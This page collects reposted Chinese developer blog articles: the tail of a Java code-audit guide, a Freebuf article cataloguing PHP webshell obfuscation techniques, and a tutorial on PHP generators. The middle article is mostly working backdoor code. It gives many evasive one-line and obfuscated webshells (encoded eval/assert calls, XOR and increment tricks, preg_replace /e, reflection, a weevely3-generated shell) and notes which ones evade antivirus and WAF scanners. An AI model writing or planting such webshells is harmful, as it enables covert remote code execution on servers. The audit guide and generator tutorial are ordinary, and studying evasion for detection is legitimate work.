由于Web站点有时需要根据不同的逻辑将用户引向到不同的页面,如典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面,整个过程中如果实现不好就可能导致URL重定向问题,攻击者构造恶意跳转的链接,可以向用户发起钓鱼攻击。

漏洞示例

此处以Servlet的redirect 方式为例,示例代码片段如下:

1
2
3
4
复制代码	String site = request.getParameter("url");
if(!site.isEmpty()){
response.sendRedirect(site);
}
审计函数

java程序中URL重定向的方法均可留意是否对跳转地址进行校验、重定向函数如下:

1
2
3
4
复制代码`sendRedirect`
setHeader
forward
...
修复方案
  • 使用白名单校验重定向的url地址
  • 给用户展示安全风险提示,并由用户再次确认是否跳转

CSRF

介绍

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。

漏洞示例

由于开发人员对CSRF的了解不足,错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。例如,一个博客删除文章是通过如下方式实现的:

1
复制代码`GET http://blog.com/article/delete.jsp?id=102`

当攻击者诱导用户点击下面的链接时,如果该用户登录博客网站的凭证尚未过期,那么他便在不知情的情况下删除了id为102的文章,简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

漏洞审计

此类漏洞一般都会在框架中解决修复,所以在审计csrf漏洞时。首先要熟悉框架对CSRF的防护方案,一般审计时可查看增删改请求重是否有token、formtoken等关键字以及是否有对请求的Referer有进行校验。手动测试时,如果有token等关键则替换token值为自定义值并重放请求,如果没有则替换请求Referer头为自定义链接或置空。重放请求看是否可以成功返回数据从而判断是否存在CSRF漏洞。

修复方案
  • Referer校验,对HTTP请求的Referer校验,如果请求Referer的地址不在允许的列表中,则拦截请求。
  • Token校验,服务端生成随机token,并保存在本次会话cookie中,用户发起请求时附带token参数,服务端对该随机数进行校验。如果不正确则认为该请求为伪造请求拒绝该请求。
  • Formtoken校验,Formtoken校验本身也是Token校验,只是在本次表单请求有效。
  • 对于高安全性操作则可使用验证码、短信、密码等二次校验措施
  • 增删改请求使用POST请求

命令执行

介绍

由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。

漏洞示例

此处以getRuntime为例,示例代码片段如下:

1
2
复制代码	String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
审计函数

这种漏洞原理上很简单,重点是找到执行系统命令的函数,看命令是否可控。在一些特殊的业务场景是能判断出是否存在此类功能,这里举个典型的实例场景,有的程序功能需求提供网页截图功能,笔者见过多数是使用phantomjs实现,那势必是需要调用系统命令执行phantomjs并传参实现截图。而参数大多数情况下应该是当前url或其中获取相关参数,此时很有可能存在命令执行漏洞,还有一些其它比较特别的场景可自行脑洞。

java程序中执行系统命令的函数如下:

1
2
3
4
复制代码`Runtime.exec`
ProcessBuilder.start
GroovyShell.evaluate
...
修复方案
  • 避免命令用户可控
  • 如需用户输入参数,则对用户输入做严格校验,如&&、|、;等

权限控制

介绍

越权漏洞可以分为水平、垂直越权两种,程序在处理用户请求时未对用户的权限进行校验,使的用户可访问、操作其他相同角色用户的数据,这种情况是水平越权;如果低权限用户可访问、操作高权限用户则的数据,这种情况为垂直越权。

漏洞示例
1
2
3
4
5
6
7
8
9
复制代码    @RequestMapping(value="/getUserInfo",method = RequestMethod.GET)
public String getUserInfo(Model model, HttpServletRequest request) throws IOException {
String userid = request.getParameter("userid");
if(!userid.isEmpty()){
String info=userModel.getuserInfoByid(userid);
return info;
}
return "";
}
审计函数

水平、垂直越权不需关注特定函数,只要在处理用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞

修复方案

获取当前登陆用户并校验该用户是否具有当前操作权限,并校验请求操作数据是否属于当前登陆用户,当前登陆用户标识不能从用户可控的请求参数中获取。

批量请求

介绍

业务中经常会有使用到发送短信校验码、短信通知、邮件通知等一些功能,这类请求如果不做任何限制,恶意攻击者可能进行批量恶意请求轰炸,大量短信、邮件等通知对正常用户造成困扰,同时也是对公司的资源造成损耗。

除了短信、邮件轰炸等,还有一种情况也需要注意,程序中可能存在很多接口,用来查询账号是否存在、账号名与手机或邮箱、姓名等的匹配关系,这类请求如不做限制也会被恶意用户批量利用,从而获取用户数据关系相关数据。对这类请求在代码审计时可关注是否有对请求做鉴权、和限制即可大致判断是否存在风险。

漏洞示例
1
2
3
4
5
6
7
8
9
10
复制代码    @RequestMapping(value="/ifUserExit",method = RequestMethod.GET)
public String ifUserExit(Model model, HttpServletRequest request) throws IOException {
String phone = request.getParameter("phone");
if(! phone.isEmpty()){
boolean ifex=userModel.ifuserExitByPhone(phone);
if (!ifex)
return "用户不存在";
}
return "用户已被注册";
}
修复方案
  • 对同一个用户发起这类请求的频率、每小时及每天发送量在服务端做限制,不可在前端实现限制

第三方组件安全

介绍

这个比较好理解,诸如Struts2、不安全的编辑控件、XML解析器以及可被其它漏洞利用的如commons-collections:3.1等第三方组件,这个可以在程序pom文件中查看是否有引入依赖。即便在代码中没有应用到或很难直接利用,也不应该使用不安全的版本,一个产品的周期很长,很难保证后面不会引入可被利用的漏洞点。

修复方案
  • 使用最新或安全版本的第三方组件

待续…

总结

除了上述相关的漏洞,在代码审计的时候有时会遇到一些特别的漏洞,比如开发为了测试方便关闭掉了一些安全校验函数、甚至未彻底清除的一些预留后门及测试管理接口等。除此,框架本身的安全问题也是可以深挖。一些安全校验、安全解决方案也未必就毫无破绽的,即便存在一些安全解决,但开发人员有没有使用以及是否正确使用安全方案都是可能存在问题的点。大公司都有成熟的框架,一些基本的安全问题并不是太多,但设计层面上的安全及流程相关的问题却基本依赖开发的经验。流程相关的漏洞则有必要先熟悉应用本身的设计和逻辑,这块也是潜在的风险点。

不要指望给开发说一句“一切输入都是不可信的”,他就能编写出安全的代码。总之,Talk is cheap. Show me the code~

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

PHP WebShell变形技术总结

发表于 2017-12-08

简介

WebShell的变形技术与各种防护软件的检测方法一直都在相互对抗,本篇文章就对目前常见的WebShell的变形技术进行总结。

目前的防护软件对能够执行命令函数和能够执行代码的函数都会格外的敏感,如eavl、assert、system、popen、shell_exec,所以像最为简单的eval($_POST[cmd])的一句话就一定会被查杀。所以目前的变形的本质都在于如何隐藏自己的敏感函数。

巧用$GPC

利用$GLOBALS

1
复制代码@eval($GLOBALS['_POST']['op']);

很多的防护软件仅仅只是检查$_POST,所以通过$GLOBALS就能够逃过查杀。

利用$_FILE

1
复制代码@eval($_FILE['name']);

使用$_FILE就能够逃脱很多防护软件了。

关键字替换

敏感函数拆分

由于PHP语法的灵活性,这种写法就会有很多了。比如

1
复制代码$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);

这种就是利用PHP的可变函数来拆分assert关键字。但是这种拆分方式也比较的简单,目前的防护软件已经可以识别了。

这种方式也可以变形一下,将assert放置在函数里面。如下:

1
2
3
4
5
复制代码function func() {
return "ass"."ert";
}
$a = func();
$a(${"_PO"."ST"}['sz']);

基于这种方式还可以进行更多的变形,在这里就不进行说明了。

空格替换&字符串替换

1
复制代码<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?>

首先将关键函数进行倒转和空格,之后利用strrev和str_replace恢复。不同于之前的字符串拼接,这种方式采用的是将字符串进行各种变形达到隐藏敏感函数的目的,这种方式在一定程度上能够有效地躲避查杀。

特殊字符

这种特殊字符组成的webshell其实也算是关键字替换中的,但是这种由特殊字符串组成的webshell经常被讨论,所以在这里单独作为一小节进行说明。

进制运算

1
2
3
4
5
复制代码@$_++;

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST

@${$__}[!$_](${$__}[$_]);

通过异或运算(^)、取反运算(!)的方式组成一个webshell。

自增运算

因为在PHP中,'a'++ => 'b','b'++ => 'c',所以我们如果得到了其中的一个字母,通过这个字符就可以得到所有的字母。通过$_=[];$_=@"$_";;得到$_为Array的字符串,那么就可以得到所有的字符串了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
复制代码$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=?____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);

关于这种由特殊字符组成的webshell可以参考P神写的一些不包含数字和字母的webshell

利用注释

1
2
3
4
复制代码@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7

通过特色符号和注释组合组成一个webshell,也能够隐藏关键字。

异或运算&字符编码

这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell。

1
2
复制代码$y=~督耽孩^'(1987)';
$y($_POST[1987]);

上述的代码需要以GBK的方式保存,其中的$y的值为assert,这样就是一个典型的webshell了。

还有如下这种:

1
2
复制代码$x=~Ÿ¬¬º­«;
$x($_POST[~¹¹ÏÏÏÏ]);

上述的代码需要以ISO-8859-15保存,其中的$x为assert,而~¹¹ÏÏÏÏ是FF0000。即使是这种方式,部分的防护软件还是能够识别。

eval&base64_decode变形

通过对大量的webshell分析,发现很多的webshell其实都是eval(base64_decode($_POST[cmd]))这种方式的变形。变形的核心思想其实就是将base64_decode、$_POST隐藏。下面就对这几种变形的方法进行说明。

字符串&数组的方式

这种方式一般都是先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数。如下:

1
2
3
4
5
6
复制代码$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
eval($s21($s22));
}

通过字符串PCT4BA6ODSE_得到,$s21为base64_decode,$s22为${"_POST"}['n985de9'],所以这种方式最后的代码其实就是eval(base64_decode($_POST['n985de9']));

进制转换

这种方式在webshell中也是比较常见的。

1
2
复制代码$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(.....

其中$v230c590就是base64_decode,通过十六进制和八进制混用的方式代替base64_decode。还有如下这种形式

1
2
复制代码$liner = "pr"."e"."g_"."re"."p"."l"."ace";
$liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);

其中\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28其实为eval(gzuncompress(base64_decode(也达到了隐藏敏感函数的目的。

反序列化执行

通过序列化的方式,我们也能够执行webshell。

1
2
3
4
5
6
7
8
9
复制代码class foo{
public $data="text";
function __destruct()
{
eval($this->data);
}
}
$file_name=$_GET['id'];
unserialize($file_name);

我们需要在本地构造序列化的数据。构造好了之后,通过shell.php?id=id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";},这样就能够执行phpinfo();命令了。

回调函数

PHP中的回调函数非常之多,所以通过回调函数执行Webshell的方式也非常的多。最常见的回调函数的写法就是$ant=create_function("","eval($_POST[cmd]);");$ant();。但是目前大部分的防护软件都都已经能够识别这种写法的webshell,所以目前的回调函数方法变形一般都是通过其他的不常见的回调函数以及变换关键代码。

create_function的变形

基于create_function的变形是非常多的。如下面两种:

变形一:

1
复制代码$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();

变形二:

1
2
复制代码$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs='));
$function();

总体来说这种方法和上面讲的关键字替换是类似的

preg_replace变形

通过preg_replace的\e模式下能够执行代码这种方式也是十分常见的,很多攻击者都喜欢使用preg_replace。下面就提供三种变形。

变形一:

1
2
3
4
复制代码@$a = $_POST['x'];
if (isset($a)) {
@preg_replace("/\[(.*)\]/e", '\\1', base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}

通过base64编码将关键代码隐藏。

变形二:

1
2
复制代码function funfunc($str) {}
echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]);

这种方式其实还利用了PHP中的可变变量能够执行代码的特点。通过cmd=<title>${@eval($_POST[xxx])}</title>&xxx=phpinfo();这种方式就可以执行任意的代码了。

变形三:

在php中也有几个和preg_replace类似的函数可以使用,如mb_ereg_replace、preg_filter。用法如下:

1
2
复制代码mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

在PHP中这种动态函数是非常多的,除了上述说的create_function,preg_replace,还有诸如call_user_func、 call_user_func_array。还可以利用一些不常见的回调函数,如array_map、array_filter、array_reduce、array_udiff这种方式,还有很多其他的回调函数可供使用。P神也写过一篇关于用回调函数构造webshell的文章,
创造tips的秘籍——PHP回调后门。

动态函数执行

1
2
3
复制代码$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);

这种动态函数的变形目前已经被广泛地使用,目前大部分的防护软件都能够识别。

利用文件名&注释

一般情况下,防护软件在检测Webshell时一般都会忽略掉文件名和文件中的注释,那么我们就可以在文件名和注释中放入敏感函数。

巧用文件名

no_assert.php

1
2
3
4
复制代码<?php
${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);

这种,得到的$function就是assert,这样就形成了assert($_POST[cmd]);的后门。

$_POST[cmd].php

1
2
3
4
复制代码<?php
${"function"}= substr(__FILE__, -15, -4);
${"config"} = assert;
$config($function);

这个是将$_POST[cmd]放置在文件名中进行隐藏,同样可以达到隐藏的目的。

自定义函数

为了能够逃避防护软件的查杀,很多webshell都会自己编写加密函数或者是字符串转换函数。下面就几个函数进行说明。

十六进制执行

1
2
3
4
5
6
7
8
复制代码$string='';
$password='test';
if(isset($_POST[$password])){
$hex=$_POST[$password];
for($i=0;$i<strlen($hex)-1;$i+=2){
$string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);

只需要将传入的指令变为16进制的字符串即可。shell.php?test=706870696e666f28293b。其中的706870696e666f28293b就是phpinfo();的十六进制,用法和普通的webshell没有区别。

自定义加密

1
2
3
4
5
6
7
8
9
复制代码function decode($string) {
$result = '';
for($index=0;$index<strlen($string);$index += 1) {
$result .= chr(ord($string[$index])-3);
}
return $result;
}
$b = create_function('',decode("Chydo+'bSRVW^fpg`,>"));
$b();

这个加密函数十分的简单,仅仅是将字母的ascii值减3而已,算是比较简单的加密算法。

1
复制代码decode("Chydo+'bSRVW^fpg`,>")

得到就是@eval($_POST[cmd]);。

反射技术

1
2
复制代码$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));

这种方式调用起来也非常的简单xx.com/shell.php?m=assert&c=phpinfo();和动态函数执行的方式十分的相似。但是目前这种方式已经被各种安全防护软件识别了。

文件加密

加密的方式就非常多了,包括使用开源的webshell工具或者是网上在线的加密方法或者是自己编写加密代码进行混淆加密。

混淆加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
复制代码$M_='TcynUS2Dj'|Xtt1C5;$xPAsA3='|L#K1)'^'=`'.tosl;$ps6U8r2u='S R'|'Z @';'F_fTJ4U3M'.
')u(<I9';$ots8zM7=wwugn.'~'&outg."~~";$CqHZRjrpv='om~}ov'&'owv}~w';$pmak=/*OYR'.
'HF]mwSAu~*/oZD5t.'-'.TouvRdijg|'M at~`K*$jqr!-)';$Nkm4DL=wwoiuw_o.#jDj9F8qWCU'.
'}og~oo~'&ssoyww_vw.'~'.wtoo.'~';$sSZ1ZTtXOI='J~DQ}e'&iUTZ.']C';$enZB='wfq/Wc<'.
'.g!17}x`1qs@#1g)=a=79'.mc56&"!|7".aLxt2a."{y#93V7;;C;~m uO3;q;{v2";'gyxK39Xu1'.
':i^';$woW8PBSb_J='?g~v$z~a,w'&'vo?.us|{4k';$hefSTat73='ko7|;uw?'&'S}w?'./*Usx'.
'>XUb.*/wuuo;$H31KYF='-(Y%;L8@'|'-(|lz@2f';$oRzY9cesWL=BrvDsY^'cS=p2;';'djCAxk'.
'zX~lO=:nK5';$jKRFmGwxTPb='sl[GUs'^'6(#%~)';$cQZ75FbYVQT=':(&.'.Z5qdh^/*KudDMp'.
'LtxJEC*/bkcTlp7.'$)';$ZNh7cpA=J^'+';$VRcphf2Y1='+'|K;$fXLKDzG='(C'^'M;';'dHaM'.
']9|ds5tbb';$I5Hmeo7gVJ=E^",";$mwo7=w&t;$TvUYRhtThs="^".TVW_."|_]".u__CURu./*j'.
'l*/"{H"&"Iv|".x_Z_UZ_wyRq_Wz;$ypaVtIfRO=']'.SEBTRE|WPEAUR.'@';$TegpU9P5=('3Zw'.
'g/5'&'zx-G/w')^$xPAsA3;$rM36yFVDxOo=('$Df'|'6Dc')^$ps6U8r2u;$iG7yrwzXUiW=/*cL'.
'srxQMMk*/$ots8zM7&$CqHZRjrpv;$qioLnlc=('7w,c/"YQ#a`p'^'i@c-'.IeimeU48)^(',E"!'.
'!!TH(E",'|'.D()95EL*T5-');$Pl=$pmak&$Nkm4DL;$rF0oYXqV9=('HDP@O@'|'HDD@F@')|/*'.
'f*/$sSZ1ZTtXOI;$hLZSKz9=("||=6".tB5s."#;(7i}%-d2|".r6O67a."!h-:j0&"&'4&2=)f5;'.
'%}ev:2%9*5'.ebteyl.',g61<E#s')|$enZB;$Z61ppy=$ZNh7cpA&$VRcphf2Y1;$ZHU=/*fE9Yr'.
'7q?{!W*/$woW8PBSb_J&('?'.qldtjo.'</w'&'-'.snkdo.'?yoo');$PhcCKxq=/*XeLXi26ULV'.
'pri*/$hefSTat73^$H31KYF;$emJm_U=$oRzY9cesWL^$jKRFmGwxTPb;$FTGoqvnK=/*a5xj88EI'.
'n(am7*/$cQZ75FbYVQT|('5;]+`'.lexH^'}k8{DLK:-');if($TegpU9P5($rM36yFVDxOo(/*TA'.
'(^q.4;*/$iG7yrwzXUiW($rF0oYXqV9)),$hLZSKz9))$qioLnlc(('{/Z_'^'TNu:'),/*qwCzim'.
'JQ7+5)JTBF*/$fXLKDzG.$I5Hmeo7gVJ.$mwo7,$Z61ppy);$yX4gTiSd=$Pl($ZHU,/*BtAiX0w8'.
'7*LALb~*/$iG7yrwzXUiW($TvUYRhtThs.$ypaVtIfRO));$yX4gTiSd($PhcCKxq,$emJm_U,/*p'.
'}R*/$FTGoqvnK);#T)s<k?vZ%Nx[VsvNLg<sQ8KlP!D{*nm306rhxT95kZ5CMe=YJ*V3cTstah.t'.
'HD PDe:F{4#Wplm 1BLh0FD7*@?;aZJQnFF1$zR';

以上就是一个自定义被加密的webshell,主要是利用了各种位运算符达到混淆加密的目的。

使用加密工具加密

国内的工具还是有很多的,包括phpjm,phpjiami通过测试,即使是最为简单的@eval($_POST[cmd]),经过加密之后还是很多防护软件无法识别出webshell。

Weevely

weevely是一款使用python编写的webshell工具,Github地址下面就是weevely3生成的朴php 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
复制代码$L='O=$_SERVE9OR;$rr9O=@$r["H9OTTP_9OREFERER9O"];$ra=9O@$r["H9OTT9OP_9O9OACCEPT_LANGUAGE"]9O;if($9O9Orr&&$ra';
$b='art();@ev9Oal(@9Ogzu9Oncompres9Os(@x(9O@base69O4_decode(9Opre9Og_repla9O9Oce9O(arra9Oy("/_/","/-/"),a';
$h='$z+9O+)$p.9O=$q[$m[2][9O$z]];if(strpos(9O$p,9O$9Oh)===09O){$s[$i]=""9O;$p=$ss(9O9O$p,3);}if9O(array_k';
$P='ey9O_exi9Osts($i,9O$s))9O{$s[$i]9O.9O=$p;$e=strp9Oo9Os($s[9O$i],$f);if($9Oe){$9Ok=$kh.$kf;9Oo9Ob_s9Ot';
$y='($i.$kh),0,39O));9O$f=$9Osl($ss(m9Od5($i9O.$kf),9O0,39O));$p="";for(9O$z9O=1;9O$9Oz<9Ocount($m[1])9O;';
$z='rray("/"9O,"9O+"9O),$9Oss($s[$i],0,$e))9O),9O$9Ok)));$o=9Oob_get_content9Os();9Oob_en9Od_clean()9O9O;$d=ba';
$r='$kh="dff9Of"9O;$9Okf=9O"09Oa7f";function x($t,$k9O)9O{$c=9Ostrlen($k9O)9O;$l9O=strlen($t);$9Oo="";for9O($i';
$G='){$u=p9Oar9Ose_url9O($rr9O);parse_str9O($u["query9O9O"],$q);$9Oq=array_v9O9Oalues(9O$q);preg9O_match_a9O';
$T=str_replace('Ul','','crUleUlate_UlfUluUlnUlction');
$v='=9O0;$i<$l;){fo9Or($j=09O;($j<$c9O&9O&$i<$l9O);$j++,$i++9O){$o9O.9O=$t{$i}^9O$k{$j};}}9Oreturn 9O$o;}$r9';
$Q='se9O64_encode9O(x(gz9Ocompres9Os($o),$9Ok));pr9Oint(9O9O"<$k>$d</$9Ok>");@sess9Oi9Oon_de9Ostroy();}}}}';
$k='=&$_SES9OSION9O;9O$ss="su9Obstr"9O;$sl="strtol9Oower";$i9O9O9O=$m[1][0].$m[19O][1];$h=$sl9O($9Oss(m9Od5';
$o='ll("/9O([\\w])[\\w9O-]9O+(?:;9Oq=09O.([\\d9O]))?,?/",9O$ra,9O$m);if($q9O&&9O$m){@sessio9On_sta9Ort();$9Os';
$t=str_replace('9O','',$r.$v.$L.$G.$o.$k.$y.$h.$P.$b.$z.$Q);
$C=$T('',$t);$C();

看起来完全是毫无意义的代码。但是即使是这样,D盾还是能够识别。

总结

本篇文章对目前PHP中的常见的webshell变形技术进行了总结归纳,可以发现这些变形技术都大量地使用了PHP的语言特性。由于PHP的灵活的语法以及大量的内置函数,导致webshell可以有各种各样的变形技术。多样的变形技术不仅可以让攻击者写出更加隐蔽的webshell,也增加了防护软件识别的难度。webshell的变形技术就在攻击者与防护软件的对抗中也不断的演变和升级。本篇文章也只是对于总结了各种防护方法,关于其中的变形原理就不进行详细地说明了。

彩蛋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
复制代码    /**
* eva
* l($_GE
* T["c"]);
* asse
* rt
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();
$evf=substr($str,strpos($str,'e'),3);
$evf=$evf.substr($str,strpos($str,'l'),6);
$evf=$evf.substr($str,strpos($str,'T'),8);
$fu=substr($str,strpos($str,'as'),4);
$fu=$fu.substr($str,strpos($str,'r'),2);
$fu($evf);

参考

www.leavesongs.com/PENETRATION…

blog.safedog.cn/?p=68

joychou.org/web/webshel…

* 本文作者:影武者实验室,转载请注明来自Freebuf.COM

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

PHP中被忽略的性能优化利器:生成器

发表于 2017-12-08

如果是做Python或者其他语言的小伙伴,对于生成器应该不陌生。但很多PHP开发者或许都不知道生成器这个功能,可能是因为生成器是PHP 5.5.0才引入的功能,也可以是生成器作用不是很明显。但是,生成器功能的确非常有用。

优点

直接讲概念估计你听完还是一头雾水,所以我们先来说说优点,也许能勾起你的兴趣。那么生成器有哪些优点,如下:

  • 生成器会对PHP应用的性能有非常大的影响
  • PHP代码运行时节省大量的内存
  • 比较适合计算大量的数据

那么,这些神奇的功能究竟是如何做到的?我们先来举个例子。

概念引入

首先,放下生成器概念的包袱,来看一个简单的PHP函数:

1
2
3
4
5
6
7
复制代码function createRange($number){
$data = [];
for($i=0;$i<$number;$i++){
$data[] = time();
}
return $data;
}

这是一个非常常见的PHP函数,我们在处理一些数组的时候经常会使用。这里的代码也非常简单:

  1. 我们创建一个函数。
  2. 函数内包含一个for循环,我们循环的把当前时间放到$data里面
  3. for循环执行完毕,把$data返回出去。

下面没完,我们继续。我们再写一个函数,把这个函数的返回值循环打印出来:

1
2
3
4
5
复制代码$result = createRange(10); // 这里调用上面我们创建的函数
foreach($result as $value){
sleep(1);//这里停顿1秒,我们后续有用
echo $value.'<br />';
}

我们在浏览器里面看一下运行结果:

这里非常完美,没有任何问题。(当然sleep(1)效果你们看不出来)

思考一个问题

我们注意到,在调用函数createRange的时候给$number的传值是10,一个很小的数字。假设,现在传递一个值10000000(1000万)。

那么,在函数createRange里面,for循环就需要执行1000万次。且有1000万个值被放到$data里面,而$data数组在是被放在内存内。所以,在调用函数时候会占用大量内存。

这里,生成器就可以大显身手了。

创建生成器

我们直接修改代码,你们注意观察:

1
2
3
4
5
复制代码function createRange($number){
for($i=0;$i<$number;$i++){
yield time();
}
}

看下这段和刚刚很像的代码,我们删除了数组$data,而且也没有返回任何内容,而是在time()之前使用了一个关键字yield

使用生成器

我们再运行一下第二段代码:

1
2
3
4
5
复制代码$result = createRange(10); // 这里调用上面我们创建的函数
foreach($result as $value){
sleep(1);
echo $value.'<br />';
}

我们奇迹般的发现了,输出的值和第一次没有使用生成器的不一样。这里的值(时间戳)中间间隔了1秒。

这里的间隔一秒其实就是sleep(1)造成的后果。但是为什么第一次没有间隔?那是因为:

  • 未使用生成器时:createRange函数内的for循环结果被很快放到$data中,并且立即返回。所以,foreach循环的是一个固定的数组。
  • 使用生成器时:createRange的值不是一次性快速生成,而是依赖于foreach循环。foreach循环一次,for执行一次。

到这里,你应该对生成器有点儿头绪。

深入理解生成器

代码剖析

下面我们来对于刚刚的代码进行剖析。

1
2
3
4
5
6
7
8
9
10
11
复制代码function createRange($number){
for($i=0;$i<$number;$i++){
yield time();
}
}

$result = createRange(10); // 这里调用上面我们创建的函数
foreach($result as $value){
sleep(1);
echo $value.'<br />';
}

我们来还原一下代码执行过程。

  1. 首先调用createRange函数,传入参数10,但是for值执行了一次然后停止了,并且告诉foreach第一次循环可以用的值。
  2. foreach开始对$result循环,进来首先sleep(1),然后开始使用for给的一个值执行输出。
  3. foreach准备第二次循环,开始第二次循环之前,它向for循环又请求了一次。
  4. for循环于是又执行了一次,将生成的时间戳告诉foreach.
  5. foreach拿到第二个值,并且输出。由于foreach中sleep(1),所以,for循环延迟了1秒生成当前时间

所以,整个代码执行中,始终只有一个记录值参与循环,内存中也只有一条信息。

无论开始传入的$number有多大,由于并不会立即生成所有结果集,所以内存始终是一条循环的值。

概念理解

到这里,你应该已经大概理解什么是生成器了。下面我们来说下生成器原理。

首先明确一个概念:生成器yield关键字不是返回值,他的专业术语叫产出值,只是生成一个值

那么代码中foreach循环的是什么?其实是PHP在使用生成器的时候,会返回一个Generator类的对象。foreach可以对该对象进行迭代,每一次迭代,PHP会通过Generator实例计算出下一次需要迭代的值。这样foreach就知道下一次需要迭代的值了。

而且,在运行中for循环执行后,会立即停止。等待foreach下次循环时候再次和for索要下次的值的时候,for循环才会再执行一次,然后立即再次停止。直到不满足条件不执行结束。

实际开发应用

很多PHP开发者不了解生成器,其实主要是不了解应用领域。那么,生成器在实际开发中有哪些应用?

读取超大文件

PHP开发很多时候都要读取大文件,比如csv文件、text文件,或者一些日志文件。这些文件如果很大,比如5个G。这时,直接一次性把所有的内容读取到内存中计算不太现实。
